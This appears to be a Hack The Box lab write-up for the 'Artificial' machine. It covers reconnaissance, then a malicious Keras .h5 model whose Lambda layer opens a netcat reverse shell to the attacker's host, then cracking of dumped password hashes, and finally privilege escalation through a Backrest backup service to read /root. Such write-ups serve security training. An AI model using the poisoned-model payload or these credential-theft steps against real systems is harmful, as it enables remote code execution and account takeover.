HTB | Artificial

Machine - https://app.hackthebox.com/machines/Artificial

IP - 10.129.97.24

NMAP

└─$ nmap -sC -sV -p 22,80 10.129.97.24 -Pn -oA nmap_port_details                                                                                           
Starting Nmap 7.95 ( <https://nmap.org> ) at 2025-06-22 12:22 IST
Nmap scan report for 10.129.97.24
Host is up (0.63s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to <http://artificial.htb/>
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 41.68 seconds
                                                               

Port 80

└─$ whatweb -v -a 3 10.129.97.24
WhatWeb report for <http://10.129.97.24>
Status    : 302 Found
Title     : 302 Found
IP        : 10.129.97.24
Country   : RESERVED, ZZ

Summary   : HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], nginx[1.18.0], RedirectLocation[<http://artificial.htb/>]

Detected Plugins:
[ HTTPServer ]
        HTTP server header string. This plugin also attempts to 
        identify the operating system from the server header. 

        OS           : Ubuntu Linux
        String       : nginx/1.18.0 (Ubuntu) (from server string)

[ RedirectLocation ]
        HTTP Server string location. used with http-status 301 and 
        302 

        String       : <http://artificial.htb/> (from location)

[ nginx ]
        Nginx (Engine-X) is a free, open-source, high-performance 
        HTTP server and reverse proxy, as well as an IMAP/POP3 
        proxy server. 

        Version      : 1.18.0
        Website     : <http://nginx.net/>

HTTP Headers:
        HTTP/1.1 302 Moved Temporarily
        Server: nginx/1.18.0 (Ubuntu)
        Date: Sun, 22 Jun 2025 06:53:44 GMT
        Content-Type: text/html
        Content-Length: 154
        Connection: close
        Location: <http://artificial.htb/>

WhatWeb report for <http://artificial.htb/>
Status    : 200 OK
Title     : Artificial - AI Solutions
IP        : 10.129.97.24
Country   : RESERVED, ZZ

Summary   : HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], nginx[1.18.0], Script

Detected Plugins:
[ HTML5 ]
        HTML version 5, detected by the doctype declaration 

[ HTTPServer ]
        HTTP server header string. This plugin also attempts to 
        identify the operating system from the server header. 

        OS           : Ubuntu Linux
        String       : nginx/1.18.0 (Ubuntu) (from server string)

[ Script ]
        This plugin detects instances of script HTML elements and 
        returns the script language/type. 

[ nginx ]
        Nginx (Engine-X) is a free, open-source, high-performance 
        HTTP server and reverse proxy, as well as an IMAP/POP3 
        proxy server. 

        Version      : 1.18.0
        Website     : <http://nginx.net/>

HTTP Headers:
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Sun, 22 Jun 2025 06:53:47 GMT
        Content-Type: text/html; charset=utf-8
        Transfer-Encoding: chunked
        Connection: close
        Content-Encoding: gzip

Nothing interesting was there on Dirbuster

So let’s register and login

Foothold/shell

Shell as Gael

On clicking on requirements and Dockerfile

└─$ cat Dockerfile                                                                                       
FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \\
    apt-get install -y curl && \\
    curl -k -LO <https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl> && \\
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

└─$ cat requirements.txt
tensorflow-cpu==2.13.1

When trying to upload a file, it says we need to upload .h5 file

Hierarchical Data Format, or H5, is a file format that addresses this challenge by providing a flexible and efficient way to store and organize large amounts of data.

Upload H5 file

so in order to exploit this we have to create malicious file .h5

but first let’s make our docker

└─$ sudo docker build -t tf-env .
[+] Building 209.0s (8/8) FINISHED                                                                                                                                                                                                                             docker:default
 => [internal] load build definition from Dockerfile                                                                                                                                                                                                                     0.1s
 => => transferring dockerfile: 496B                                                                                                                                                                                                                                     0.0s 
 => [internal] load metadata for docker.io/library/python:3.8-slim                                                                                                                                                                                                       7.3s 
 => [internal] load .dockerignore                                                                                                                                                                                                                                        0.1s
 => => transferring context: 2B                                                                                                                                                                                                                                          0.0s 
 => [1/4] FROM docker.io/library/python:3.8-slim@sha256:1d52838af602b4b5a831beb13a0e4d073280665ea7be7f69ce2382f29c5a613f                                                                                                                                                12.8s 
 => => resolve docker.io/library/python:3.8-slim@sha256:1d52838af602b4b5a831beb13a0e4d073280665ea7be7f69ce2382f29c5a613f                                                                                                                                                 0.0s
 => => sha256:1d52838af602b4b5a831beb13a0e4d073280665ea7be7f69ce2382f29c5a613f 10.41kB / 10.41kB                                                                                                                                                                         0.0s 
 => => sha256:314bc2fb0714b7807bf5699c98f0c73817e579799f2d91567ab7e9510f5601a5 1.75kB / 1.75kB                                                                                                                                                                           0.0s 
 => => sha256:b5f62925bd0f63f48cc8acd5e87d0c3a07e2f229cd2fb0a9586e68ed17f45ee3 5.25kB / 5.25kB                                                                                                                                                                           0.0s 
 => => sha256:302e3ee498053a7b5332ac79e8efebec16e900289fc1ecd1c754ce8fa047fcab 29.13MB / 29.13MB                                                                                                                                                                         6.7s 
 => => sha256:030d7bdc20a63e3d22192b292d006a69fa3333949f536d62865d1bd0506685cc 3.51MB / 3.51MB                                                                                                                                                                           6.1s
 => => sha256:a3f1dfe736c5f959143f23d75ab522a60be2da902efac236f4fb2a153cc14a5d 14.53MB / 14.53MB                                                                                                                                                                         8.0s
 => => sha256:3971691a363796c39467aae4cdce6ef773273fe6bfc67154d01e1b589befb912 248B / 248B                                                                                                                                                                               6.7s
 => => extracting sha256:302e3ee498053a7b5332ac79e8efebec16e900289fc1ecd1c754ce8fa047fcab                                                                                                                                                                                2.7s
 => => extracting sha256:030d7bdc20a63e3d22192b292d006a69fa3333949f536d62865d1bd0506685cc                                                                                                                                                                                0.2s
 => => extracting sha256:a3f1dfe736c5f959143f23d75ab522a60be2da902efac236f4fb2a153cc14a5d                                                                                                                                                                                1.1s
 => => extracting sha256:3971691a363796c39467aae4cdce6ef773273fe6bfc67154d01e1b589befb912                                                                                                                                                                                0.0s
 => [2/4] WORKDIR /code                                                                                                                                                                                                                                                  2.1s
 => [3/4] RUN apt-get update &&     apt-get install -y curl &&     curl -k -LO <https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.w>  35.2s
 => [4/4] RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl                                                                                                                                                              80.1s 
 => exporting to image                                                                                                                                                                                                                                                  70.3s 
 => => exporting layers                                                                                                                                                                                                                                                 70.1s 
 => => writing image sha256:bc7057bef196951ccd48a6791b5f260605137ab3d9fc0a29872de0b55d8b0714                                                                                                                                                                             0.0s 
 => => naming to docker.io/library/tf-env  

and run

└─$ sudo docker run -it tf-env

^Hroot@66e045bf2a7b:/code# 

Now we can create an exploit file ( refer this article)

└─$ cat exploit.py                                                                                       
import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.17 1234 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

Copy this to our Docker and run

└─$ sudo docker cp exploit.py 66e045bf2a7b:/code/
[sudo] password for anurag: 
Successfully copied 2.05kB to 66e045bf2a7b:/code/
root@66e045bf2a7b:/code# python3 exploit.py 
2025-06-22 07:32:22.025223: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2, in other operations, rebuild TensorFlow with the appropriate compiler flags.
sh: 1: nc: not found
/usr/local/lib/python3.8/site-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
  saving_api.save_model(

Let’s copy the shell.h5 back to our machine

└─$ sudo docker cp 66e045bf2a7b:/code/exploit.h5 .  
Successfully copied 11.8kB to /home/anurag/htb/Artificial/.

Auth as app

Let’s upload view prediction

and we have shell

└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.16.17] from (UNKNOWN) [10.129.97.24] 38982
/bin/sh: 0: can't access tty; job control turned off
$ whoami
app

We found users.db

app@artificial:~/app/instance$ ls      
ls
users.db

we got below users

mary:bf041041e57f1aff3be7ea1abd6129d0 
royer:c25b1f80f544c0ab451c02a3dca9fc6 
robert:b606c5f5136170f15444251665638b36 
mark:0f3d8c76530022670f1c6029eed09ccb 
gael:c99175974b6e192936d97224638a34f8

throwing them in CrackStation we get Gael’s password

and we are in as Gael

and we got user.txt

gael@artificial:~$ dir
user.txt

Privilege Escalation

Looks like something is hosting on port 5000 and 9898 locally

Let’s use local port forwarding for ssh

└─$ ssh -L 5000:127.0.0.1:5000 -L 9898:127.0.0.1:9898 gael@10.129.97.24 

port 5000 is the website which we saw on port 80 externally

but port 9898 is something interesting

Port 9898

asking for username and password, Gael’s credentials did not work

Let’s look for the Backrest in the box

We found config.json, only the root can view the file

gael@artificial:/opt/backrest/.config/backrest$ cat config.json 
cat: config.json: Permission denied
gael@artificial:/opt/backrest/.config/backrest$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Jun 22 07:50 .
drwxr-xr-x 3 root root 4096 Mar  3 21:27 ..
-rw------- 1 root root  280 Jun 22 07:50 config.json

found some archives in /var/backups

gael@artificial:/var/backups$ ls
alternatives.tar.0     apt.extended_states.1.gz  apt.extended_states.3.gz  apt.extended_states.5.gz  backrest_backup.tar.gz  dpkg.diversions.1.gz  dpkg.statoverride.0     dpkg.statoverride.2.gz  dpkg.status.1.gz
apt.extended_states.0  apt.extended_states.2.gz  apt.extended_states.4.gz  apt.extended_states.6.gz  dpkg.diversions.0       dpkg.diversions.2.gz  dpkg.statoverride.1.gz  dpkg.status.0           dpkg.status.2.gz
gael@artificial:/var/backups$ 

Let’s unzip this

gael@artificial:/tmp$ tar -xvf backrest_backup.tar.gz
backrest/
backrest/restic
backrest/oplog.sqlite-wal
backrest/oplog.sqlite-shm
backrest/.config/
backrest/.config/backrest/
backrest/.config/backrest/config.json
backrest/oplog.sqlite.lock
backrest/backrest
backrest/tasklogs/
backrest/tasklogs/logs.sqlite-shm
backrest/tasklogs/.inprogress/
backrest/tasklogs/logs.sqlite-wal
backrest/tasklogs/logs.sqlite
backrest/oplog.sqlite
backrest/jwt-secret
backrest/processlogs/
backrest/processlogs/backrest.log
backrest/install.sh

Now we can great config.json

config.json
gael@artificial:/tmp/backrest/.config/backrest$ cat config.json 
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

Using ChatGPT, we get the following hash

$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

Let’s use hashcat to decrypt

found password

let’s login to backtest website

backrest_root:!@#$%^

and we are in

Since it is hosting locally we might be able to make the repo of /root

When clicking on the repo we can see that there s an option to run command

on using help we can see two interesting cmds backup and dump

Let’s try to backup root and read root.txt

backup /root/

When I try tp dump root it gives errors

when we run CMD with ID and file, it’s the file

dump <ID> <file>

Last updated